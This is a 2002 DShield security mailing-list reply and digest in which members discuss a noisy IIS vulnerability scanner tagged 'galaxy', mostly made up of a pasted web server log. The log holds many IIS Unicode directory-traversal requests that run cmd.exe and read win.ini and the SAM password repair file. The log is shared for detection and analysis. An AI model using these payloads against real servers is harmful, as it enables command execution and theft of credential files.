[Dshield] RE: Rather noisy log signature

Jim rodgersj at charter.net
Sat Jun 8 13:07:32 GMT 2002


Looking at your log entries, its possible that this is a worm. Nimda and
Code Red are still bouncing throughout the internet. The possibility also
exists that this is just another attempt to probe for and exploit the many
IIS vulnerabilities such as the Unicode exploits:
/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0

We see similar traffic, at work, all day long. The majority of the traffic
appears to be coming from the Asian-Pacific Network (China, Korea and
Taiwan) but we do see other overseas sites as well.

Jim

-----Original Message-----
From: list-admin at dshield.org [mailto:list-admin at dshield.org]On Behalf Of
list-request at dshield.org
Sent: Friday, June 07, 2002 10:39 PM
To: list at dshield.org
Subject: Dshield digest, Vol 1 #646 - 2 msgs


Send Dshield mailing list submissions to
	list at dshield.org

To subscribe or unsubscribe via the World Wide Web, visit
	http://www.dshield.org/mailman/listinfo/list
or, via email, send a message with subject or body 'help' to
	list-request at dshield.org

You can reach the person managing the list at
	list-admin at dshield.org

When replying, please edit your Subject line so it is more specific
than "Re: Contents of Dshield digest..."


Today's Topics:

   1. Re: Spam Trek - The Next Generation (Jon R. Kibler)
   2. (new?) IIS 'galaxy' vulnerability scanner ? (Johannes Ullrich)

--__--__--

Message: 1
Date: Fri, 07 Jun 2002 18:28:08 -0400
From: "Jon R. Kibler" <Jon.Kibler at aset.com>
Organization: Advanced Systems Engineering Technology, Inc.
To: list at dshield.org
CC: David Sentelle <David.Sentelle at cnbcbank.com>
Subject: Re: [Dshield] Spam Trek - The Next Generation
Reply-To: list at dshield.org

David Sentelle wrote:
> While we're on the subject of spam.....
>
> I've not yet tried spamcop's or samspade's message header parsing
programs, but usually I can look at the header and at LEAST figure out
> which of my email addresses the spam was sent to.
>
> Recently, I've gotten several emails where even that was not discernable.
I'm going to try the tools mentioned in today's digest, but I
> don't expect them to turn up anything.
>
> My question is how can I get email that doesn't have my email address in
the full header?
>
> TIA & good weekend to all-
>

If you are Bcc:-ed on a email, most sending MTAs will just do a 'RCPT
<address>' and that will route the message to your address. Most receiving
MTAs will then add a 'for <address>' to the Received: header.

Hope this helps.

Jon Kibler


--__--__--

Message: 2
Date: Fri, 7 Jun 2002 21:01:48 -0400
From: Johannes Ullrich <jullrich at sans.org>
To: list at dshield.org
Organization: Euclidian Consulting
Subject: [Dshield] (new?) IIS 'galaxy' vulnerability scanner ?
Reply-To: list at dshield.org


I had today three people notify me about a new, rather noisy, signature
they found in their apache logs. Can everyone take a look at their logs
and see if they find it? I don't think this qualifies as a 'worm' so far.
It looks a bit too complex and overly redundant. But maybe it is some
vulnerability scanner.

Note the first Line: 'galaxy_10400.10746'. It looks like a marker someone
added to the tool.


a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "GET /galaxy_10400.10746
HTTP/1.0" 404 289 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "HEAD
/_mem_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "HEAD
/_mem_bin/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "HEAD
/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "HEAD
/_mem_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "HEAD
/_mem_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "HEAD
/_mem_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "HEAD
/_mem_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "HEAD
/_mem_bin/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "HEAD
/_mem_bin/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "HEAD
/_mem_bin/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:10:59 +0200] "HEAD
/_mem_bin/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_mem_bin/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_cnf/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_bin/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:00 +0200] "HEAD
/_vti_cnf/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/_vti_cnf/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/_vti_cnf/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/_vti_cnf/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/_vti_cnf/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/_vti_cnf/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/_vti_cnf/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/a.asp/..%c0%2f../..%c0%2f../winnt/win.ini HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/a.asp/..%c0%2f../..%c0%2f..\winnt\repair\sam._ HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/a.asp/..%c0%af../..%c0%af../winnt/win.ini HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/a.asp/..%c0%af../..%c0%af..\winnt\repair\sam._ HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:01 +0200] "HEAD
/a.asp/..%c1%1c../..%c1%1c..\winnt\repair\sam._ HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/a.asp/..%c1%9c../..%c1%9c../winnt/win.ini HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/a.asp/..%c1%9c../..%c1%9c..\winnt\repair\sam._ HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/adsamples/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/adsamples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/adsamples/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/adsamples/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/adsamples/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/adsamples/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/adsamples/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/adsamples/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:02 +0200] "HEAD
/bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/scripts/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/scripts/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/scripts/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/bin/scripts/..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi-bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi-bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
403 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi-bin/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:03 +0200] "HEAD
/cgi-bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/cgi-bin/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/cgi-bin/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/exchange/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/cgi-bin/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/exchange/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/exchange/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/exchange/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/exchange/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/exchange/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/exchange/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/exchange/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:04 +0200] "HEAD
/msadc/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/PBServer/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/msadc/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/PBServer/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/msadc/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/msadc/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/PBServer/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/msadc/..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/Rpc/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/PBServer/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/Rpc/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/PBServer/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/samples/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/samples/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/script/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/PBServer/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/Rpc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/PBServer/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/PBServer/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/samples/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/Rpc/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/scripts/..%c0%2f..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:05 +0200] "HEAD
/scripts/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "-" "-" "-"
